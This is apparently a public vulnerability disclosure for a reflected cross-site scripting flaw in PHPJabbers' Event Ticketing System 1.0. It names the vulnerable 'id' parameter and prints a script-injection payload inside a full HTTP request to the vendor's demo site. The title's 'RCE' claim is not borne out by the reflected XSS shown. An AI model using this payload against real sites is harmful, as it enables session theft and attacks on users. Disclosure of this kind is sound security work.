Event Ticketing System 1.0 Cross Site Scripting

## Title: Event Ticketing System-1.0 XSS-Reflected - RCE## Author: nu11secur1ty## Date: 09/08/2023## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/event-ticketing-system/#sectionDemo## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected## Description:The value of the `id` request parameter is copied into the value of anHTML tag attribute which is encapsulated in double quotation marks.The payload }}uypja"><script>alert(1)</script>k36c0 was submitted inthe id parameter. This input was echoed asuypja"><script>alert(1)</script>k36c0 in the application's response.The attacker can use this vulnerability to trick the user intoexecuting - opening the browser on his machine and opening a hazardousURL address.STATUS: HIGH Vulnerability[+]Testing Payload:```GETGET /1694154671_204/index.php?controller=pjFront&action=pjActionCheckout&locale=1&id=1hau48%22%3e%3cscript%3ealert(1)%3c%2fscript%3exoplmHTTP/1.1Host: demo.phpjabbers.comAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141Safari/537.36Connection: closeCache-Control: max-age=0Cookie: EventTicketing=lirq5h64gv5dj0utbp2r5nsqf7Origin: http://demo.phpjabbers.comReferer: http://demo.phpjabbers.com/Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Event-Ticketing-System-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/event-ticketing-system-10-xss-reflected.html)## Time spent:01:25:00